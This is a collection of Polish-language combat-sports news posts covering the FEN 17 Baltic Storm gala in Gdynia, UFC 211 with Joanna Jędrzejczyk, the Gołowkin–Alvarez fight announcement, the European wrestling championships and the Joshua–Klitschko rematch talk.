26-letni Gevor stoczył dotychczas 22 zwycięskie walki, nie zanotował żadnej porażki. Reprezentant Niemiec urodzony w Armenii może pochwalić się pasem WBO International kategorii junior ciężkiej, który wywalczył półtora roku temu. Doświadczeniem Włodarczyk bije rywala na głowę.

Wygrana w Poznaniu pozwoli „Diablo” stać się pretendentem do tytułu IBF, który obecnie posiada Murat Gasijew. Ale na tym nie koniec. Projekt pięściarski firmy Comosa AG zakłada organizację turnieju w trzech kategoriach wagowych, wśród nich ma być waga junior ciężka. Dla Polaka uczestnictwo w zmaganiach stanowiłoby szansę na powrót na szczyt i ogromny prestiż. Nie wiadomo, czy Włodarczyk znajdzie się w gronie ośmiu zawodników, ale ma na to szanse. Na zwycięzcę turnieju czekać będzie dziesięć milionów dolarów.

KM

Kasperski będzie walczył o pas!

30 czerwca w Monako w pojedynku na zasadach K-1 Dawid Kasperski spotka się z Gregory'm Grossim. Stawką walki będzie pas mistrza świata WAKO-Pro.

Kolejne wyzwanie przed zawodnikiem Punchera Wrocław. Za każdym razem w krajowych potyczkach Dawid Kasperski potwierdza swoją dominację, również na arenie europejskiej pokazuje klasę. Czy w Monako zachwyci kibiców?

Po kolejne zwycięstwo

W marcu zawodnik Punchera Wrocław udał się do Holandii, aby podpatrywać i trenować razem z utytułowanym Nicolaasem Holzkenem. 33-latek zdobywał doświadczenie w kickboxingu i boksie. Przez wiele lat był niepokonany w organizacji Glory. Dwa tygodnie w Holandii dały potężny zastrzyk energii Kasperskiemu, który w kwietniu zaprezentował się na gali Perun Fight Night 2. Polak mógł wznieść ręce w geście triumfu po walce z Adrianem Valentiną. Warto dodać, że na słowackiej gali zaprezentował się również Arkadiusz Kaszuba, który wygrał swój pojedynek. 

W tym roku Dawid Kasperski sięgnął po mistrzostwo Polski K-1 w kategorii 86kg. Trzy walki, trzy zwycięstwa i wszystko było jasne. Tak prezentuje się mistrz Polski K-1. Zdecydowany, pewny i skuteczny. Czy tak będzie w Monako? 30 czerwca na gali Monte-Carlo Fighting Trophy „Clash of the Titans” rywalem 26-latka będzie Francuz Gregory Grossi. Zwycięzca będzie mógł szczycić się posiadaniem pasa mistrzowskiego WAKO-Pro.

Cel jest oczywisty. Dawid Kasperski mierzy w piąte zwycięstwo z rzędu.

Doświadczony rywal

Z roku na rok Kasperski wygląda coraz lepiej. Trzeba jasno powiedzieć, że Polak należy do ścisłej czołówki wagi półciężkiej w Europie. Ale w Monako nie będzie miał łatwego zadania. Wiadomo, że chcąc się doskonalić musi pokonywać mocnych rywali. Stać go na to, co potwierdził w sierpniu ubiegłego roku, kiedy na gali Superkombat pokonał Alexandru Negrea.

Najbliższy rywal Polaka, Gregory Grossi jest wysoki, mierzy 195 cm. W 2011 roku sięgnął po brąz mistrzostw świata WAKO. 33-latek zdobywał również mistrzostwo Europy WAKO, a także tytuł czempiona globu organizacji WKN i IFMA. Stoczył ponad 80 walk, z których 71 zakończyło się jego triumfem.

KM

FEN 17 Baltic Storm: media trening i ceremonia ważenia

FEN 17 Fight Week czas zacząć! Już jutro pierwszy event poprzedzający piątkową galę FEN 17 Baltic Storm, czyli media trening w Energy Club Gdynia, a w czwartek – oficjalna ceremonia ważenia w Gdynia Arena. Transmisję na żywo z obu wydarzeń, którą przeprowadzi telewizja Fightime.pl, będzie można oglądać na fanpage’u Fight Exclusive Night.

Oficjalny media trening – Energy Club, ul. Wendy 19, Gdynia, środa, 10 maja, godz. 17:00

Podczas czwartkowego media treningu przed kibicami i dziennikarzami zaprezentuje się połowa uczestników gali FEN 17 Baltic Storm. W gdyńskim Energy Clubie pojawi się siódemka zawodników MMA: Michał Wlazło, Piotr Hallmann, Aleksander Georgas, Ireneusz Szydłowski, Bartosz Leśko, Dmitriy Borsuk, Damian Tarabasz oraz jego przeciwnik Adam Brzezowski. Spośród walczących w piątek fighterów K-1 próbkę swoich umiejętności zademonstrują Jarosław Daschke, Kryspin Kalski, Artur Bizewski, Alan Kwieciński i jego rywal Kamil Mateja.

Oficjalna ceremonia ważenia – Gdynia Arena, ul. Kazimierza Górskiego 8, Gdynia, czwartek, 11 maja, godz. 15:30

Tradycyjnie już zawodnicy walczący na gali Fight Exclusive Night będą mogli wejść na wagę już rano w hotelu, dzięki czemu będą mieć więcej czasu na regenerację i odpowiednie przygotowanie się do czekającej ich nazajutrz walki. Jeśli podczas dwugodzinnej sesji porannej fighterzy nie zmieszczą się w limitach wagowych dla swoich kategorii, ostatnią szansę zważenia się będą mieć podczas popołudniowej, otwartej dla mediów i publiczności oficjalnej ceremonii ważenia w Gdynia Arena.

Wstęp na oba wydarzenia jest wolny, zarówno dla kibiców, jak i dziennikarzy. Wszystkich, którzy nie będą mogli przybyć na media trening lub ceremonię ważenia, zapraszamy do śledzenia transmisji na żywo – relacje online przeprowadzi telewizja Fightime.pl i będzie je można śledzić na fanpage’u FEN oraz stronie Fightime.pl.

Bilety na galę FEN 17 Baltic Storm można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

FEN

Jędrzejczyk wraca do Dallas

W najbliższą sobotę, 13, maja Joanna Jędrzejczyk stanie do piątej obrony mistrzowskiego tytułu wagi słomkowej. Na gali UFC 211 Polka zmierzy się z Jessicą Andrade. W Dallas zaprezentuje się również Krzysztof Jotko.

To może być polska noc w UFC. Jędrzejczyk urosła do miany gwiazdy kobiecego MMA, zaś Jotko coraz pewniej poczyna sobie w wadze średniej. Czy 27-latek z Ornety zrobi kolejny krok w kierunku walki o pas?

Wspomnienia z Dallas

29-letnia zawodniczka pochodząca z Olsztyna stoczy swoją 14 walkę w karierze. Do tej pory nie poniosła żadnej porażki. Jeśli wygra z Andrade, przybliży się do rekordu Rondy Rousey, która sześć razy skutecznie broniła tytułu w kategorii koguciej. Warto zwrócić uwagę, że gala UFC 211 odbędzie się w Dallas, gdzie Jędrzejczyk ponad dwa lata temu wywalczyła pas wagi słomkowej. W drugiej rundzie zasypała ciosami Carlę Esparzę i wygrała przed czasem.

Najbliższą rywalką Polki będzie Jessica Andrade. 25-letnia Brazylijka ma na swoim koncie 21 walk, z których 16 wygrała. Ostatnie miesiące w wykonaniu Andrade są imponujące. Wygrała trzy walki, w tym dwie przed czasem. W ostatnim występie okazała się lepsza od Angeli Hill. Ostatnią porażkę na swoim koncie Brazylijka zapisała we wrześniu 2015 roku, kiedy to musiała uznać wyższość Raquel Pennington.

Występ w Dallas może być wyjątkowy dla Krzysztofa Jotko. Jeśli wygra, jego marzenia o walce o pas mistrzowski mogą stać się realne. 27-letni Jotko spisuje się fantastycznie w UFC. Wygrał pięć kolejnych pojedynków. W ostatnim starciu, UFC Fight Night 100, pokonał doświadczonego Brazylijczyka Thalesa Leitesa. Teraz Polak stanie naprzeciw Davida Brancha, który wraca do UFC. 35-latek ostatni pojedynek w amerykańskiej organizacji stoczył 3 marca 2011 roku. Musiał wtedy pogodzić się z porażką w starciu z Rousimarem Palharesem. Jednak nie zginął z pola widzenia. Branch występował z powodzeniem na galach prestiżowej organizacji WSOF i zapisał na swoim koncie mistrzowskie pasy wagi średniej i półciężkiej. Może pochwalić się imponującą serią dziesięciu wygranych z rzędu. 

Rocznica Miocica

14 maja 2016 roku Stipie Miocic pokonał na gali UFC 198 w Kurytybie Fabricio Werduma i sięgnął po pas mistrzowski w wadze ciężkiej. Dotychczas bronił go raz. Amerykanin efektownie pokonał Alisatiara Overeema. 

W Dallas zmierzy się z Juniorem dos Santosem, któremu będzie chciał się zrewanżować za porażkę z grudnia 2014 roku. Dla Brazylijczyka to kolejna szansa na odzyskanie mistrzowskiego tytułu. 33-latek stracił pas ponad cztery lata temu w starciu z Cainem Velasquez. Próbował odzyskać tytuł, ale bezskutecznie. Czy tym razem dos Santos będzie miał powody do radości?

Karta walki gali UFC 211:

Walka o pas wagi ciężkiej
265 lb: Stipe Miocic – Junior dos Santos  

Walka o pas wagi słomkowej kobiet
115 lb: Joanna Jędrzejczyk – Jessica Andrade 

170 lb: Demian Maia – Jorge Masvidal
145 lb: Yair Rodriguez – Frankie Edgar
125 lb: Henry Cejudo – Sergio Pettis 

155 lb: Eddie Alvarez – Dustin Poirier
145 lb: Chas Skelly – Jason Knight 
185 lb: Krzysztof Jotko – David Branch 
155 lb: James Vick – Polo Reyes 
115 lb: Jessica Aguilar – Cortney Casey
145 lb: Michel Quinones – Jared Gordon 
265 lb: Chase Sherman – Rashad Coulter
145 lb: Enrique Barzola – Gabriel Benitez
205 lb: Gadżimurad Antigulow – Joachim Christensen

Fot. Facebook Joanny Jędrzejczyk

KM

FEN 17 Baltic Storm: plan transmisji na żywo

Piątkową galę FEN 17 Baltic Storm w Gdynia Arena będzie można oglądać na żywo w trzech stacjach telewizji Polsat i na platformie internetowej Ipla.tv, a relację online z dzisiejszego media trening i jutrzejszej ceremonii ważenia na fanpage’u FEN przeprowadzi Fightime.tv. Oto szczegółowa rozpiska planowanych transmisji live.

Oficjalny media trening (środa, 10 maja, Energy Club Gdynia) fanpage FEN – początek transmisji o godz. 17:00

Oficjalna ceremonia ważenia zawodników (czwartek, 11 maja, Gdynia Arena): fanpage FEN – początek transmisji o godz. 15:30

Gala FEN 17 Baltic Storm (piątek, 12 maja, Gdynia Arena):
Polsat Sport Fight – początek transmisji o godz. 19:00 (karta wstępna, ceremonia otwarcia, karta główna i walka wieczoru)
Polsat Sport – początek transmisji o godz. 20:00 (ceremonia otwarcia, karta główna i walka wieczoru)
Super Polsat – początek transmisji o godz. 21:10 (karta główna i walka wieczoru)
Ipla.tv – początek transmisji: godz. 19:00 (karta wstępna, ceremonia otwarcia, karta główna i walka wieczoru)

Przypominamy, że wstęp na dzisiejszy media trening i jutrzejszą ceremonię ważenia jest wolny dla mediów i kibiców. Bilety na piątkową galę FEN 17 Baltic Storm można jeszcze kupować w serwisach Eventim.pl oraz KupBilet.pl.

Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

FEN

Emocje w oktagonie, czyli gala FEN 17 [KONKURS]

12 maja w Gdynia Arena odbędzie się gala FEN 17: Baltic Storm. Mocna karta walka ma być gwarantem ogromnych emocji. Chcesz przeżyć je z bliska? Nic prostszego! Weź udział w naszym konkursie, w którym do wygrania osiem pojedynczych wejściówek na galę FEN 17.

Organizacja Fight Exclusive Night nie zwalnia tempa. To już trzecia tegoroczna gala FEN. Wcześniejsze odbyły się w Lubinie i w Warszawie.

Mocna karta walk

Fight Exclusive Night stara się oferować widzom różnorodność, dlatego organizacja postawiła na rywalizację w MMA i K-1. W karcie walk pojawiają się coraz ciekawsze nazwiska, które są gwarantem wspaniałego widowiska.

12 maja w pojedynku wieczoru zobaczymy Kamila Łebkowskiego, który zmierzy się Caio Machado. 29-letni Polak stoczył dwie walki dla FEN. W debiucie decyzją sędziów pokonał Piotra Hallmanna, a w Warszawie uległ Gabrielowi Silvie. Caio Machado to ogromny talent brazylijskiego MMA, któremu znawcy wróżą przyszłość w UFC. Wygrał 10 z 13 walk. Rodzimej publiczności będzie mógł się zaprezentować Piotr Hallmann. W ostatnich pięciu walkach 29-latek odniósł tylko jedno zwycięstwo. Były zawodnik UFC zrobi wszystko, aby triumfować w Gdyni. Jego rywalem będzie Patryk Nowak.

W K-1 zobaczymy Radosława Paczuskiego (85kg). Na FEN 16 zawodnik z Warszawy poradził sobie z Georgem Daviesem. W Gdyni Polak zmierzy się z silnym Menno Van Roosmalenem. Holender ma w pamięci porażkę z Dawidem Kasperskim, której doznał jesienią ubiegłego roku. W ostatnim występie 26-latek znokutował Steve'a Beirę. Ciekawie zapowiada się starcie Marcina Szredera z Arturem Bizewskim. Będzie to drugie spotkanie kickboxerów. Na gali FEN 13 lepszy okazał się Bizewski. Występy obu zawodników można było śledzić podczas marcowej gali w Warszawie. Szreder pewnie wypunktował Ayataka Yahsima, z kolei Bizewski przegrał z Arkadiuszem Wrzoskiem.

12 maja kibice będą świadkami rywalizacji w oktagonie, który zastąpi klatkoring.

Karta walk gali FEN 17: Baltic Storm:

MMA 66 kg: Kamil Łebkowski vs. Caio Machado
MMA 120 kg: Michał Wlazło vs. Martin Chudej
MMA 93 kg: Michał Oleksiejczuk vs. Ricardo Nosiglia
K-1 85 kg: Radosław Paczuski vs. Menno Van Roosmalen
MMA 70 kg: Piotr Hallmann vs. Patryk Nowak
K-1 70 kg: Jarosław Daschke vs. Robert Rajewski
K-1 95 kg: Marcin Szreder vs. Artur Bizewski
K-1 120 kg: Kryspin Kalski vs. Mateusz Łazowski
MMA 66 kg: Aleksander Georgas vs. Jakub Kowalewicz
MMA 84 kg: Aleksander Rychlik vs. Bartosz Leśko
MMA 77 kg: Ireneusz Szydłowski vs. Dmitrij Borsuk
K-1 70 kg: Alan Kwieciński vs. Kamil Mateja
MMA 77 kg: Damian Tarabasz vs. Adam Brzezowski

KONKURS!

Chcesz z bliska śledzić rywalizację na gali FEN 17? Nic prostszego! Zapraszamy do udziału w naszym konkursie! Wystarczy, że 9 maja o godz. 16.00 wyślesz maila na adres: k.malkinski@marklaw.pl, a w treści podasz imię, nazwisko i numer telefonów. W puli mamy osiem pojedynczych wejściówek. O zwycięstwie decyduje kolejność zgłoszeń.

Konkurs rozstrzygnięty – bilety zostały rozdane.

KM

Cztery pasy na szali

Kolejny potężny cios zostanie wyprowadzony w świecie boksu. 16 września w Las Vegas zmierzą się Giennadij Gołowkin i Saul Alvarez.

O tym pojedynku mówiło się od dłuższego czasu. Niektórzy zdążyli już zwątpić w powodzenie negocjacji między obozami Gołowkina i Alvareza. W końcu nastąpił przełom i 16 września dojdzie do wojny o panowanie w wadze średniej.

Starcie gigantów

Wszyscy szykują się na prawdziwe bokserskie widowisko. Już dziś walka Gołowkina i Alvareza urasta do miana hitu jesieni. Z pewnością pięściarzy stać na to, aby zaspokoić publiczność zgromadzoną w Las Vegas i przed telewizorami. W końcu mówimy o dwóch mocnych nazwiskach.

O tym, że „coś w trawie” piszczy mówiło się wielokrotnie. Pisaliśmy o tym tu. Jak wiadomo, w takich przypadkach przeszkód nie brakuje. Nie da się ukryć, że ważnym elementem rozmów są pieniądze. Na początku 2016 roku na przeszkodzie stanęły właśnie finanse. Gołowkin nie był zadowolony z przedstawionej oferty, a „Canelo” cały czas czekał i w końcu Meksykanin musiał oddać pas wagi średniej WBC. We wrześniu ubiegłego roku Kazach spotkał się z Kellem Brookiem i rozbił go w piątej rundzie. Następnie pokonał Daniela Jacobsa, choć w opinii wielu niemiłosiernie męczył się z 30-letnim Amerykaninem.

W tym roku przebąkiwało się, że temat ponownie walki Gołowkina z Alvarezem ponownie wrócił. 6 maja w Las Vegas szykowała się meksykańska wojna. Alvarez wszedł do ringu z Julio Cesarem Chavezem Jr., który swego czasu przegrał z Andrzejem Fonfarą. „Canelo” nie miał większych problemów z pokonaniem starszego rywala. Przez dwanaście rund zupełnie zdominował Chaveza Jr., choć nie potrafił go znokautować. Po ostatnim gongu mógł wznieść ręce w geście triumfu i świętować 49. zwycięstwo na zawodowym ringu.

Wtedy nastąpił przełom. Na ringu pojawił się… Gołowkin i wtedy świat usłyszał, że 16 września dojdzie do starcia o panowanie w wadze średniej. Na szali pojawią się pasy WBC, WBA, IBF i IBO.

Kto faworytem?

Bukmacherzy większe szanse na zwycięstwo dają Kazachowi. Na korzyść Gołowkina przemawia jego bilans i skuteczność (33 z 37 walk zakończył przed czasem) oraz dorobek mistrzowski. Z kolei Alvarez jest znacznie młodszy (26 lat), ale już niezwykle doświadczony. Ma na swoim koncie ponad 50 zawodowych walk i tylko jedną porażkę. Jednak przegrana z Floydem Mayweatherem Jr. pokazuje, że mocny Meksykanin w starciu z doświadczeniem może mieć problemy. 16 września lata praktyki mogą okazać się niezwykle cenne dla Gołowkina.

Kazach nie zostawił suchej nitki na rywalu po jego walce z Chavezem Jr. – To były nudy, wyglądało jak sparing – powiedział Gołowkin. 

KM

Dwa medale, czy będzie więcej?

Mistrzostwa Europy w zapasach na ostatniej prostej. W niedzielę w Nowym Sadzie dorobek medalowy reprezentacji Polski postarają poprawić się klasycy: Dawid Kareciński (71kg), Edgar Babayan (80kg) i Tadeusz Michalik (85kg). Tytułem wicemistrza Starego Kontynentu może pochwalić się Magomedmurad Gadżijew (70kg).

Rok temu w Rydze biało-czerwoni wywalczyli pięć medali, co dało im siódmą pozycję w klasyfikacji końcowej. W Nowym Sadzie o powtórzenie tego wyniku może być trudno.

Gadżijew nie zawodzi

Występujący od 2014 roku w barwach Polski Gadżijew na arenie europejskiej gwarantuje dobre wyniki. Dwa lata zapaśnik walczący w stylu wolnym zdobył w Baku srebrny medal Igrzysk Europejskich. Z kolei w 2016 roku w Rydze sięgnął po tytuł mistrza Europy. Liczyliśmy, że w Rio de Janeiro 29-latek pokusi się o medal Igrzysk Olimpijskich, jednak tak się nie stało. W rywalizacji w kategorii 65kg Gadżijew przegrał w 1/8 finału z Frankiem Aniello Molinaro.

Do Nowego Sadu zawodnik Wrestler Teamu jechał, żeby obronić mistrzowski tytuł, a minimum było miejsce na podium. Rywalizację w Serbii Gadżijew rozpoczął zgodnie z planem. W kolejnych pojedynkach pokazywał swoją wyższość nad rywalami i wygrywał na punkty. Reprezentant Polski odprawił: Nikolaja Kurtiewa, Semena Radułowa i Israiła Kasumowa. Jednak po starciu ćwierćfinałowym pojawił się strach. Przy jednym z ataków Radułow wykrzywił stopę Gadżijewa, a ten schodził z maty kulejąc. Twardo walczył dalej i doszedł do finału, gdzie spotkał się z Frankiem Chamizo Marquezem. Reprezentant Włoch szybko zdobył pierwsze punkty, później przeprowadził kolejną akcję i robił wszystko, żeby nie pozwolić mistrzowi Europy z Rygi na skuteczny atak. Gadżijew szukał swojej szansy, ale Marquez skutecznie się bronił. Rywal zbierał ostrzeżenia, ale ostatecznie wygrał 4:3.

Sukcesu z Rygi nie powtórzył Robert Baran (125kg). Rok temu Polak wywalczył srebrny medal. W Nowym Sadzie wygrał jedną walkę, a w ćwierćfinale musiał uznać wyższość Daniela Ligeti. Ostatecznie Baran został sklasyfikowany na siódmym miejscu. Ubiegłoroczny mistrz, Geno Petriashvili, zdobył brąz.

Siódme miejsce zajął również Radosław Grzybicki (98kg), Przemysław Piątek wraca z Nowego Sadu na ósmej pozycji, a Mateusz Bernatek (66kg) był dziesiąty, tak jak i Daria Osocka (75kg). Na dziewiątych lokatach uplasowali się: Katarzyna Mądrowska (58kg) i Andrzej Sokalski (74kg).

Powiększyć konto

Ostatni dzień mistrzostw Europy to szansa na powiększenie dorobku medalowego Polski. Dotychczas zapisaliśmy na swoim koncie dwa krążki. Mistrzynią Europy została Monika Michalik, a wspomniany Gadżijew sięgnął po srebrny medal.

Nadzieja na kolejne krążki w Nowym Sadzie jest spora. Wśród klasyków mamy medalistów ubiegłorocznych mistrzostw Europy. W Rydze srebro wywalczył Edgar Babayan (80kg), zaś Tadeusz Michalik zdobył brąz (85kg). W Nowym Sadzie zaprezentuje się trzeci zawodnik ubiegłorocznych mistrzostw świata wojskowych Dawid Kareciński.

KM

Borsuk rywalem Szydłowskiego na FEN 17 Baltic Storm

Federacja Fight Exclusive Night ujawniła ostatnią niewiadomą karty walk gali FEN 17 Baltic Storm – z Ireneuszem Szydłowskim w najbliższy piątek w Gdynia Arena zmierzy się debiutujący w FEN, niepokonany w zawodowym MMA ukraiński prospekt Dmitriy Borsuk.

Ireneusz Szydłowski w organizacji Fight Exclusive Night walczył już dwukrotnie. W debiucie na gali FEN 14 Summer Edition w drugiej rundzie potężnym front-kickiem powalił na deski Bartosza Chyrka, wieńcząc dzieło serią ciosów w parterze – dzięki tej akcji nie tylko wygrał walkę, ale też zdobył bonus za nokaut wieczoru. W kolejnym starciu na niedawnej gali FEN 16 Warsaw Reloaded zmierzył się ze znacznie wyżej notowanym Pawłem Pawlakiem – reprezentant Baltic Fighters MMA postawił byłemu zawodnikowi UFC twarde warunki i uległ mu dopiero po trzech rundach zaciętego, widowiskowego pojedynku. Była to druga porażka Szydłowskiego w zawodowej karierze – w siedmiu wcześniej stoczonych walkach przegrał tylko z doskonale znanym Anglikiem Shaunem „The Legend” Lomasem.

Debiutujący w FEN Dmitriy Borsuk to 21-letni, utalentowany zawodnik jednego z najmocniejszych klubów Ukrainy – Aurum Kijów, gdzie trenuje pod okiem doświadczonych szkoleniowców Aleksandra Dydochkina i Vladimira Kalyinyia. Zaliczany jest do najbardziej perspektywicznych ukraińskich fighterów młodego pokolenia – z powodzeniem rywalizuje nie tylko w formule MMA, ale także w muay thai i K-1. Jego największym sukcesem jest złoty medal wywalczony w ubiegłym roku na mistrzostwach Europy. Oprócz tego pięciokrotnie zdobywał tytuł amatorskiego mistrza kraju. Dotychczas Borsuk na zawodowych arenach stoczył sześć walk w formule MMA, pewnie wygrywając wszystkie pojedynki.

W pozostałych siedmiu walkach na zasadach MMA na gali FEN 17 Baltic Storm zmierzą się m.in. Kamil Łebkowski z Brazylijczykiem Caio Machado, Piotr Hallmann z Patrykiem Nowakiem, Michał Wlazło z Czechem Martinem Chudejem, Michał Oleksiejczuk z Włochem Riccardo Nosiglią oraz Jakub Kowalewicz z Aleksandrem Georgasem. Ponadto w formule K-1 w Gdynia Arena walczyć będą tego wieczora tacy znakomici zawodnicy, jak Radosław Paczuski, Jarosław Daschke, Marcin Szreder, Artur Bizewski i Kryspin Kalski. Pełny fight card gali na oficjalnej stronie FEN.

Bilety na galę FEN 17 można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

FEN

Co dalej z Władimirem?

Nie milkną echa walki pomiędzy Anthony'm Joshuą a Władimirem Kliczko. Była to najlepsza reklama boksu. Czy dojdzie do rewanżu? – to pytanie padło już nie raz. Nie brakuje również dyskusji na temat dalszych losów Władimira Kliczko.

29 kwietnia cały świat podziwiał wspaniałe widowisko. Joshua i Kliczko pokazali ogromne umiejętności. Walka była pełna emocji, potężnych bomb i zwrotów akcji. W tej konfrontacji lepsza okazała się młodość.

Czy dojdzie do rewanżu?

Kontrakt zawarty między obozami Joshuy i Kliczko przewiduje walkę rewanżową, jednak nie jest powiedziane, że były czempion wagi ciężkiej skorzysta z tego prawa. Warto pamiętać, iż po porażce z Tysonem Fury'm w listopadzie 2015 roku 41-latek zabiegał o możliwość ponownego spotkania się z Brytyjczykiem. Jak wiadomo, do starcia nie doszło. Światło dzienne ujrzały problemy Fury'ego z używkami.

Jednak to już przeszłość, a teraz Joshua otworzył nowy rozdział historii. 19 walk i wszystkie wygrane przed czasem. 27-latek w 11. rundzie starcia na Wembley zmasakrował Władimira Kliczko, który dwa razy padał na deski. W końcu sędzia przerwał pojedynek.

Rewanż jest możliwy, a dyskusja na ten temat jest niezwykle gorąca. Pojawiła się nawet propozycja miejsca, w którym miałoby dojść do kolejnej walki Joshuy z Kliczko. Pięściarze mieliby rywalizować na stadionie olimpijskim w Pekinie. Z bliska walkę mogłoby śledzić ponad 91 tysięcy widzów.

W przypadku Joshuy mówi się o ewentualnym starciu z Tysonem Fury'm. Jednak mistrz IBF, IBO oraz superczempion WBA miałby się spotkać ze swoim rodakiem wiosną przyszłego roku. Co istotne, na horyzoncie pojawił się Kubrat Pulew. Bułgar jest obowiązkowym pretendentem do pasa IBF. Wydaje się, że walka Joshuy i Pulewa jest nieunikniona. Federacja IBF wysłała pismo w tej sprawie do obozów pięściarzy. Niewykluczone jednak, że Joshua zrzeknie się tytułu. Wszystko przez duże prawdopodobieństwo rewanżu z Kliczko, a co za tym idzie – szansą na ogromne pieniądze. 

Witalij Kliczko podkreśla, że jego brat może czuć się zmęczony, a kolejne spotkanie z Joshuą musiałoby być poparte motywacją. – Jeśli Władimir miałby wyjść tylko dla walki, żeby zapisać ostatni występ, to byłbym temu przeciwny. Potrzebna jest motywacja – zaznacza starszy z braci Kliczko.

Czy warto jeszcze walczyć?

Niektórzy zwracają uwagę na dokonania Władimira Kliczko i jego miejsce w historii boksu. Przez 12 lat Ukrainiec utrzymywał się na szczycie wagi ciężkiej. Tego nikt mu nie odbierze. W swojej kolekcji zapisał pasy IBF, IBO, WBA, WBO.

Mistrz WBC Deontay Wilder uważa, że nadszedł właściwy czas, aby Kliczko zakończył karierę. –  Nie niszcz swojego wizerunku, Władimir. Już masz zagwarantowane miejsce w Galerii Sław i status legendy – nie psuj tego! – powiedział amerykański bokser.

KM

Kwieciński vs Mateja w karcie walk FEN 17 Baltic Storm

Alan Kwieciński ponownie zawalczy w organizacji Fight Exclusive Night! Tym razem dwukrotny kickbokserski wicemistrz świata i była gwiazda programu „Warsaw Shore” stoczy pojedynek w formule K-1, a jego rywalem 12 maja na gali FEN 17 Baltic Storm w Gdynia Arena będzie utalentowany prospekt z Kaszub – srebrny medalista Pucharu Świata Kamil Mateja.

Debiutujący w organizacji FEN Kamil Mateja to jeden najbardziej perspektywicznych kickbokserów młodego pokolenia. Potwierdzeniem klasy tego młodego, ambitnego zawodnika są sukcesy na imprezach rangi mistrzowskiej w kraju i zagranicą, m.in. drugie miejsce w Pucharze Świata w low-kick w 2015 roku, zdobyty rok później srebrny medal mistrzostw Polski w kick-light i wywalczony zaledwie miesiąc temu pas mistrza kraju w tej formule. Reprezentant silnego kickbokserskiego klubu PCNP Rebelia Kartuzy, w którym szlifuje swoje umiejętności pod okiem doświadczonego trenera Patryka Zaborowskiego, w zawodowym ringu debiutował półtora roku temu, efektownie nokautując Macieja Pawłowskiego.

Dla Alana Kwiecińskiego będzie to drugi występ na arenie Fight Exclusive Night, ale po raz pierwszy będzie walczył w pojedynku na zasadach K-1 – poprzednią walkę, na gali FEN 11 Warsaw Time, stoczył w formule MMA. Olsztynianin szerokiej publiczności znany jest jako jedna z gwiazd popularnego reality show „Warsaw Shore: Ekipa z Warszawy”, ale miłośnicy sportów walki wiedzą, że Kwieciński jest przede wszystkim utalentowanym kickbokserem. Trenujący obecnie w WCA Fight Team Warszawa zawodnik w 2013 i 2016 roku zdobywał tytuły wicemistrza świata, a w 2014 roku zajął trzecie miejsce w Pucharze Świata. Miał także okazję walczyć na prestiżowej gali King of Kings World GP 2014 w Płocku. Aby móc się bardziej poświęcić swojej sportowej pasji, Kwieciński rok temu zrezygnował z udziału w programie i skoncentrował się tylko na treningach. Jako zawodowiec stoczył dotychczas 8 walk, z których 5 zakończyło się jego zwycięstwem.

Na gali FEN 17 Baltic Storm kibice zobaczą jeszcze trzy inne walki w formule K-1 – Radosława Paczuskiego z Holendrem Menno Van RoosmalenemArtura Bizewskiego z Marcinem Szrederem oraz Jarosława Daschke z Robertem Rajewskim juniorem. Na zasadach MMA tego wieczora walczyć będą m.in. Kamil ŁebkowskiPiotr HallmannMichał WlazłoMichał OleksiejczukAleksander GeorgasIreneusz Szydłowski i Bartosz Leśko. Pełny fight card gali na oficjalnej stronie FEN.

Bilety na galę FEN 17 można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

FEN

Kryspin Kalski vs Mateusz Łazowski na gali FEN 17 Baltic Storm

Kickbokserski mistrz Polski Kryspin Kalski to kolejny reprezentant trójmiejskiej sceny sportów walki, którego zobaczymy w akcji na gali FEN 17 Baltic Storm. 12 maja w Gdynia Arena w pojedynku K-1 wagi ciężkiej zmierzy się z debiutującym w Fight Exclusive Night, niepokonanym na zawodowych ringach Mateuszem Łazowskim.

Droga Mateusza Łazowskiego (30 lat, 191 cm, 2-0) do kariery zawodowego fightera K-1 była dość kręta. Zaczynał od treningów bokserskich, lecz w tej dyscyplinie nigdy nie walczył. Sporo pojedynków stoczył za to w muay thai, zdobywając m.in. tytuł mistrza Polski. Później zainteresował się mieszanymi sztukami walki, wygrywając na amatorskich zawodach wszystkie swoje walki. Ostatecznie jednak postawił na kickboxing i zawodowe starty w K-1. Ma na koncie 2 walki w tej formule, obie przeciwko zawodnikom z Niemiec i obie stoczone na warszawskich galach Granda PRO. Debiutował rok temu w starciu z Danielem Adjei, którego znokautował lawiną potężnych ciosów już w pierwszej rundzie, a w październiku na punkty pokonał doskonale znanego z klatkoringu FEN, utytułowanego weterana Niko Falina.

Na gali FEN 17 Baltic Storm Kryspin Kalski (27 lat, 192 cm, 7-6) powalczy o pierwsze zwycięstwo w organizacji Fight Exclusive Night – w debiucie przeciwko Arkadiuszowi Wrzoskowi był bliski wygranej, ale ostatecznie po dogrywce w górę powędrowała ręka jego rywala. Reprezentant Fight Gym Gdynia, który sportową karierę zaczynał od koszykówki, grając w nią profesjonalnie przez 6 sezonów, to zawodowy mistrz Polski w kickboxingu z 2012 roku i triumfator Pucharu Polski w K-1 z 2013 roku. Uczestniczył też w prestiżowych turniejach King of Kings World GP w Płocku, Gdańsku i Wilnie, podczas których m.in. pokonał doświadczonego Niemca Andre Agbobly’ego i stoczył świetny pojedynek z legendarnym mistrzem wagi ciężkiej, Ukraińcem Pavlem Zhuravlevem. Po starciu z Wrzoskiem, szukając nowych wyzwań, Kalski wziął udział w drużynowym turnieju Iron Warriors Team – po dwóch wygranych walkach awansował do finału, ale nie wystąpił w nim z powodu kontuzji ręki.

Na gali FEN 17 Baltic Storm kibice zobaczą jeszcze cztery inne pojedynki w formule K-1 – Radosława Paczuskiego z Holendrem Menno Van Roosmalenem, Artura Bizewskiego z Marcinem Szrederem, Jarosława Daschke z Robertem Rajewskim Jr oraz Alana Kwiecińskiego z Kamilem Mateją. Z kolei w walkach na zasadach MMA tego wieczora wystąpią m.in. Kamil Łebkowski, Piotr Hallmann, Michał Wlazło, Michał Oleksiejczuk, Aleksander Georgas, Ireneusz Szydłowski i Bartosz Leśko. Pełny fight card gali na oficjalnej stronie FEN.

